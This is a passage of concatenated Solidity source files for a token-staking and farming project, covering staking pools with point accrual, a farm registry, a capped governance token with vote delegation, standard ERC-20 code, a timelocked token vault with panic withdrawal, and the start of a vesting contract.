poolTokenSupply = totalTokenDeposited;
}
if (block.number > pool.lastRewardBlock && poolTokenSupply > 0) {
uint256 totalEmittedPoints = getTotalEmittedPoints(pool.lastRewardBlock, block.number);
uint256 pointsReward = totalEmittedPoints.mul(pool.pointStrength).div(totalPointStrength).mul(1e30);
pointsPerShare = pointsPerShare.add(pointsReward.div(poolTokenSupply));
}
return user.amount.mul(pointsPerShare).div(1e30).sub(user.pointPaid);
}
/**
Return the number of points that the user has available to spend.
@return the number of points that the user has available to spend.
*/
function getAvailablePoints(address _user) public view returns (uint256) {
uint256 concreteTotal = userPoints[_user];
uint256 pendingTotal = 0;
for (uint256 i = 0; i < poolTokens.length; ++i) {
IERC20 poolToken = poolTokens[i];
uint256 _pendingPoints = getPendingPoints(poolToken, _user);
pendingTotal = pendingTotal.add(_pendingPoints);
}
uint256 spentTotal = userSpentPoints[_user];
return concreteTotal.add(pendingTotal).sub(spentTotal);
}
/**
Return the total number of points that the user has ever accrued.
@return the total number of points that the user has ever accrued.
*/
function getTotalPoints(address _user) external view returns (uint256) {
uint256 concreteTotal = userPoints[_user];
uint256 pendingTotal = 0;
for (uint256 i = 0; i < poolTokens.length; ++i) {
IERC20 poolToken = poolTokens[i];
uint256 _pendingPoints = getPendingPoints(poolToken, _user);
pendingTotal = pendingTotal.add(_pendingPoints);
}
return concreteTotal.add(pendingTotal);
}
/**
Return the total number of points that the user has ever spent.
@return the total number of points that the user has ever spent.
*/
function getSpentPoints(address _user) external view returns (uint256) {
return userSpentPoints[_user];
}
/**
Deposit some particular assets to a particular pool on the Staker.
@param _token The asset to stake into its corresponding pool.
@param _amount The amount of the provided asset to stake.
*/
function deposit(IERC20 _token, uint256 _amount) external nonReentrant {
PoolInfo storage pool = poolInfo[_token];
require(pool.tokenStrength > 0 || pool.pointStrength > 0,
"You cannot deposit assets into an inactive pool.");
UserInfo storage user = userInfo[_token][msg.sender];
updatePool(_token);
if (user.amount > 0) {
uint256 pendingTokens = user.amount.mul(pool.tokensPerShare).div(1e12).sub(user.tokenPaid);
token.safeTransferFrom(address(this), msg.sender, pendingTokens);
totalTokenDisbursed = totalTokenDisbursed.add(pendingTokens);
uint256 pendingPoints = user.amount.mul(pool.pointsPerShare).div(1e30).sub(user.pointPaid);
userPoints[msg.sender] = userPoints[msg.sender].add(pendingPoints);
}
pool.token.safeTransferFrom(address(msg.sender), address(this), _amount);
if (address(_token) == address(token)) {
totalTokenDeposited = totalTokenDeposited.add(_amount);
}
user.amount = user.amount.add(_amount);
user.tokenPaid = user.amount.mul(pool.tokensPerShare).div(1e12);
user.pointPaid = user.amount.mul(pool.pointsPerShare).div(1e30);
emit Deposit(msg.sender, _token, _amount);
}
/**
Withdraw some particular assets from a particular pool on the Staker.
@param _token The asset to withdraw from its corresponding staking pool.
@param _amount The amount of the provided asset to withdraw.
*/
function withdraw(IERC20 _token, uint256 _amount) external nonReentrant {
PoolInfo storage pool = poolInfo[_token];
UserInfo storage user = userInfo[_token][msg.sender];
require(user.amount >= _amount,
"You cannot withdraw that much of the specified token; you are not owed it.");
updatePool(_token);
uint256 pendingTokens = user.amount.mul(pool.tokensPerShare).div(1e12).sub(user.tokenPaid);
token.safeTransferFrom(address(this), msg.sender, pendingTokens);
totalTokenDisbursed = totalTokenDisbursed.add(pendingTokens);
uint256 pendingPoints = user.amount.mul(pool.pointsPerShare).div(1e30).sub(user.pointPaid);
userPoints[msg.sender] = userPoints[msg.sender].add(pendingPoints);
if (address(_token) == address(token)) {
totalTokenDeposited = totalTokenDeposited.sub(_amount);
}
user.amount = user.amount.sub(_amount);
user.tokenPaid = user.amount.mul(pool.tokensPerShare).div(1e12);
user.pointPaid = user.amount.mul(pool.pointsPerShare).div(1e30);
pool.token.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _token, _amount);
}
/**
Allows the owner of this Staker to grant or remove approval to an external
spender of the points that users accrue from staking resources.
@param _spender The external address allowed to spend user points.
@param _approval The updated user approval status.
*/
function approvePointSpender(address _spender, bool _approval) external onlyOwner {
approvedPointSpenders[_spender] = _approval;
}
/**
Allows an approved spender of points to spend points on behalf of a user.
@param _user The user whose points are being spent.
@param _amount The amount of the user's points being spent.
*/
function spendPoints(address _user, uint256 _amount) external {
require(approvedPointSpenders[msg.sender],
"You are not permitted to spend user points.");
uint256 _userPoints = getAvailablePoints(_user);
require(_userPoints >= _amount,
"The user does not have enough points to spend the requested amount.");
userSpentPoints[_user] = userSpentPoints[_user].add(_amount);
emit SpentPoints(msg.sender, _user, _amount);
}
/**
Sweep all of a particular ERC-20 token from the contract.
@param _token The token to sweep the balance from.
*/
function sweep(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
_token.safeTransferFrom(address(this), msg.sender, balance);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./Token.sol";
import "./Staker.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Stakers.
@author Tim Clancy
This is the governing registry of all SuperFarm Staker assets.
*/
contract FarmStakerRecords is Ownable, ReentrancyGuard {
/// A struct used to specify token and pool strengths for adding a pool.
struct PoolData {
IERC20 poolToken;
uint256 tokenStrength;
uint256 pointStrength;
}
/// A version number for this record contract's interface.
uint256 public version = 1;
/// A mapping for an array of all Stakers deployed by a particular address.
mapping (address => address[]) public farmRecords;
/// An event for tracking the creation of a new Staker.
event FarmCreated(address indexed farmAddress, address indexed creator);
/**
Create a Staker on behalf of the owner calling this function. The Staker
supports immediate specification of the emission schedule and pool strength.
@param _name The name of the Staker to create.
@param _token The Token to reward stakers in the Staker with.
@param _tokenSchedule An array of EmissionPoints defining the token schedule.
@param _pointSchedule An array of EmissionPoints defining the point schedule.
@param _initialPools An array of pools to initially add to the new Staker.
*/
function createFarm(string calldata _name, IERC20 _token, Staker.EmissionPoint[] memory _tokenSchedule, Staker.EmissionPoint[] memory _pointSchedule, PoolData[] calldata _initialPools) nonReentrant external returns (Staker) {
Staker newStaker = new Staker(_name, _token);
// Establish the emissions schedule and add the token pools.
newStaker.setEmissions(_tokenSchedule, _pointSchedule);
for (uint256 i = 0; i < _initialPools.length; i++) {
newStaker.addPool(_initialPools[i].poolToken, _initialPools[i].tokenStrength, _initialPools[i].pointStrength);
}
// Transfer ownership of the new Staker to the user then store a reference.
newStaker.transferOwnership(msg.sender);
address stakerAddress = address(newStaker);
farmRecords[msg.sender].push(stakerAddress);
emit FarmCreated(stakerAddress, msg.sender);
return newStaker;
}
/**
Allow a user to add an existing Staker contract to the registry.
@param _farmAddress The address of the Staker contract to add for this user.
*/
function addFarm(address _farmAddress) external {
farmRecords[msg.sender].push(_farmAddress);
}
/**
Get the number of entries in the Staker records mapping for the given user.
@return The number of Stakers added for a given address.
*/
function getFarmCount(address _user) external view returns (uint256) {
return farmRecords[_user].length;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
@title A basic ERC-20 token with voting functionality.
@author Tim Clancy
This contract is used when deploying SuperFarm ERC-20 tokens.
This token is created with a fixed, immutable cap and includes voting rights.
Voting functionality is copied and modified from Sushi, and in turn from YAM:
https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
Which is in turn copied and modified from COMPOUND:
https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
*/
contract Token is ERC20Capped, Ownable {
/// A version number for this Token contract's interface.
uint256 public version = 1;
/**
Construct a new Token by providing it a name, ticker, and supply cap.
@param _name The name of the new Token.
@param _ticker The ticker symbol of the new Token.
@param _cap The supply cap of the new Token.
*/
constructor (string memory _name, string memory _ticker, uint256 _cap) public ERC20(_name, _ticker) ERC20Capped(_cap) { }
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
Allows Token creator to mint `_amount` of this Token to the address `_to`.
New tokens of this Token cannot be minted if it would exceed the supply cap.
Users are delegated votes when they are minted Token.
@param _to the address to mint Tokens to.
@param _amount the amount of new Token to mint.
*/
function mint(address _to, uint256 _amount) external onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/**
Allows users to transfer tokens to a recipient, moving delegated votes with
the transfer.
@param recipient The address to transfer tokens to.
@param amount The amount of tokens to send to `recipient`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
_moveDelegates(_delegates[msg.sender], _delegates[recipient], amount);
return true;
}
/// @dev A mapping to record delegates for each address.
mapping (address => address) internal _delegates;
/// A checkpoint structure to mark some number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// A mapping to record indexed Checkpoint votes for each address.
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// A mapping to record the number of Checkpoints for each address.
mapping (address => uint32) public numCheckpoints;
/// The EIP-712 typehash for the contract's domain.
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// The EIP-712 typehash for the delegation struct used by the contract.
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// A mapping to record per-address states for signing / validating signatures.
mapping (address => uint) public nonces;
/// An event emitted when an address changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// An event emitted when the vote balance of a delegated address changes.
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
Return the address delegated to by `delegator`.
@return The address delegated to by `delegator`.
*/
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
/**
Delegate votes from `msg.sender` to `delegatee`.
@param delegatee The address to delegate votes to.
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
Delegate votes from signatory to `delegatee`.
@param delegatee The address to delegate votes to.
@param nonce The contract state required for signature matching.
@param expiry The time at which to expire the signature.
@param v The recovery byte of the signature.
@param r Half of the ECDSA signature pair.
@param s Half of the ECDSA signature pair.
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Invalid signature.");
require(nonce == nonces[signatory]++, "Invalid nonce.");
require(now <= expiry, "Signature expired.");
return _delegate(signatory, delegatee);
}
/**
Get the current votes balance for the address `account`.
@param account The address to get the votes balance of.
@return The number of current votes for `account`.
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
Determine the prior number of votes for an address as of a block number.
@dev The block number must be a finalized block or else this function will revert to prevent misinformation.
@param account The address to check.
@param blockNumber The block number to get the vote balance at.
@return The number of votes the account had as of the given block.
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) {
require(blockNumber < block.number, "The specified block is not yet finalized.");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check the most recent balance.
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Then check the implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/**
An internal function to actually perform the delegation of votes.
@param delegator The address delegating to `delegatee`.
@param delegatee The address receiving delegated votes.
*/
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
/* console.log('a-', currentDelegate, delegator, delegatee); */
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
/**
An internal function to move delegated vote amounts between addresses.
@param srcRep the previous representative who received delegated votes.
@param dstRep the new representative to receive these delegated votes.
@param amount the amount of delegated votes to move between representatives.
*/
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
// Decrease the number of votes delegated to the previous representative.
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
// Increase the number of votes delegated to the new representative.
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
/**
An internal function to write a checkpoint of modified vote amounts.
This function is guaranteed to add at most one checkpoint per block.
@param delegatee The address whose vote count is changed.
@param nCheckpoints The number of checkpoints by address `delegatee`.
@param oldVotes The prior vote count of address `delegatee`.
@param newVotes The new vote count of address `delegatee`.
*/
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Block number exceeds 32 bits.");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/**
A function to safely limit a number to less than 2^32.
@param n the number to limit.
@param errorMessage the error message to revert with should `n` be too large.
@return The number `n` limited to 32 bits.
*/
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
/**
A function to return the ID of the contract's particular network or chain.
@return The ID of the contract's network or chain.
*/
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
using SafeMath for uint256;
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap_) internal {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= cap(), "ERC20Capped: cap exceeded");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Token.sol";
/**
@title A vault for securely holding tokens.
@author Tim Clancy
The purpose of this contract is to hold a single type of ERC-20 token securely
behind a Compound Timelock governed by a Gnosis MultiSigWallet. Tokens may
only leave the vault with multisignature permission and after passing through
a mandatory timelock. The justification for the timelock is such that, if the
multisignature wallet is ever compromised, the team will have two days to act
in mitigating the potential damage from the attacker's `sentTokens` call. Such
mitigation efforts may include calling `panic` from a separate, uncompromised
and non-timelocked multisignature wallet, or finding some way to issue a new
token entirely.
*/
contract TokenVault is Ownable, ReentrancyGuard {
using SafeMath for uint256;
/// A version number for this TokenVault contract's interface.
uint256 public version = 1;
/// A user-specified, descriptive name for this TokenVault.
string public name;
/// The token to hold safe.
Token public token;
/**
The panic owner is an optional address allowed to immediately send the
contents of the vault to the address specified in `panicDestination`. The
intention of this system is to support a series of cascading vaults secured
by their own multisignature wallets. If, for instance, vault one is
compromised via its attached multisignature wallet, vault two could
intercede to save the tokens from vault one before the malicious token send
clears the owning timelock.
*/
address public panicOwner;
/// An optional address where tokens may be immediately sent by `panicOwner`.
address public panicDestination;
/**
A counter to limit the number of times a vault can panic before burning the
underlying supply of tokens. This limit is in place to protect against a
situation where multiple vaults linked in a circle are all compromised. In
the event of such an attack, this still gives the original multisignature
holders the chance to burn the tokens by repeatedly calling `panic` before
the attacker can use `sendTokens`.
*/
uint256 public panicLimit;
/// A counter for the number of times this vault has panicked.
uint256 public panicCounter;
/// A flag to determine whether or not this vault can alter its `panicOwner` and `panicDestination`.
bool public canAlterPanicDetails;
/// An event for tracking a change in panic details.
event PanicDetailsChange(address indexed panicOwner, address indexed panicDestination);
/// An event for tracking a lock on alteration of panic details.
event PanicDetailsLocked();
/// An event for tracking a disbursement of tokens.
event TokenSend(uint256 tokenAmount);
/// An event for tracking a panic transfer of tokens.
event PanicTransfer(uint256 panicCounter, uint256 tokenAmount, address indexed destination);
/// An event for tracking a panic burn of tokens.
event PanicBurn(uint256 panicCounter, uint256 tokenAmount);
/// @dev a modifier which allows only `panicOwner` to call a function.
modifier onlyPanicOwner() {
require(panicOwner == _msgSender(),
"TokenVault: caller is not the panic owner");
_;
}
/**
Construct a new TokenVault by providing it a name and the token to disburse.
@param _name The name of the TokenVault.
@param _token The token to store and disburse.
@param _panicOwner The address to grant emergency withdrawal powers to.
@param _panicDestination The destination to withdraw to in emergency.
@param _panicLimit A limit for the number of times `panic` can be called before tokens burn.
*/
constructor(string memory _name, Token _token, address _panicOwner, address _panicDestination, uint256 _panicLimit) public {
name = _name;
token = _token;
panicOwner = _panicOwner;
panicDestination = _panicDestination;
panicLimit = _panicLimit;
panicCounter = 0;
canAlterPanicDetails = true;
uint256 MAX_INT = 2**256 - 1;
token.approve(address(this), MAX_INT);
}
/**
Allows the owner of the TokenVault to update the `panicOwner` and
`panicDestination` details governing its panic functionality.
@param _panicOwner The new panic owner to set.
@param _panicDestination The new emergency destination to send tokens to.
*/
function changePanicDetails(address _panicOwner, address _panicDestination) external nonReentrant onlyOwner {
require(canAlterPanicDetails,
"You cannot change panic details on a vault which is locked.");
panicOwner = _panicOwner;
panicDestination = _panicDestination;
emit PanicDetailsChange(panicOwner, panicDestination);
}
/**
Allows the owner of the TokenVault to lock the vault to all future panic
detail changes.
*/
function lock() external nonReentrant onlyOwner {
canAlterPanicDetails = false;
emit PanicDetailsLocked();
}
/**
Allows the TokenVault owner to send tokens out of the vault.
@param _recipients The array of addresses to receive tokens.
@param _amounts The array of amounts sent to each address in `_recipients`.
*/
function sendTokens(address[] calldata _recipients, uint256[] calldata _amounts) external nonReentrant onlyOwner {
require(_recipients.length > 0,
"You must send tokens to at least one recipient.");
require(_recipients.length == _amounts.length,
"Recipients length cannot be mismatched with amounts length.");
// Iterate through every specified recipient and send tokens.
uint256 totalAmount = 0;
for (uint256 i = 0; i < _recipients.length; i++) {
address recipient = _recipients[i];
uint256 amount = _amounts[i];
token.transfer(recipient, amount);
totalAmount = totalAmount.add(amount);
}
emit TokenSend(totalAmount);
}
/**
Allow the TokenVault's `panicOwner` to immediately send its contents to a
predefined `panicDestination`. This can be used to circumvent the timelock
in case of an emergency.
*/
function panic() external nonReentrant onlyPanicOwner {
uint256 totalBalance = token.balanceOf(address(this));
// If the panic limit is reached, burn the tokens.
if (panicCounter == panicLimit) {
token.burn(totalBalance);
emit PanicBurn(panicCounter, totalBalance);
// Otherwise, drain the vault to the panic destination.
} else {
if (panicDestination == address(0)) {
token.burn(totalBalance);
emit PanicBurn(panicCounter, totalBalance);
} else {
token.transfer(panicDestination, totalBalance);
emit PanicTransfer(panicCounter, totalBalance, panicDestination);
}
panicCounter = panicCounter.add(1);
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title A token vesting contract for streaming claims.
@author SuperFarm
This vesting contract allows users to claim vested tokens with every block.
*/
contract VestStream is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeMath for uint64;
using SafeERC20 for IERC20;
/// The token to disburse in vesting.
IERC20 public token;
// Information for a particular token claim.
// - totalAmount: the total size of the token claim.
// - startTime: the timestamp in seconds when the vest begins.
// - endTime: the timestamp in seconds when the vest completely matures.
// - lastCLaimTime: the timestamp in seconds of the last time the claim was utilized.
// - amountClaimed: the total amount claimed from the entire claim.
struct Claim {
uint256 totalAmount;
uint64 startTime;
uint64 endTime;
uint64 lastClaimTime;
uint256 amountClaimed;
}
// A mapping of addresses to the claim received.
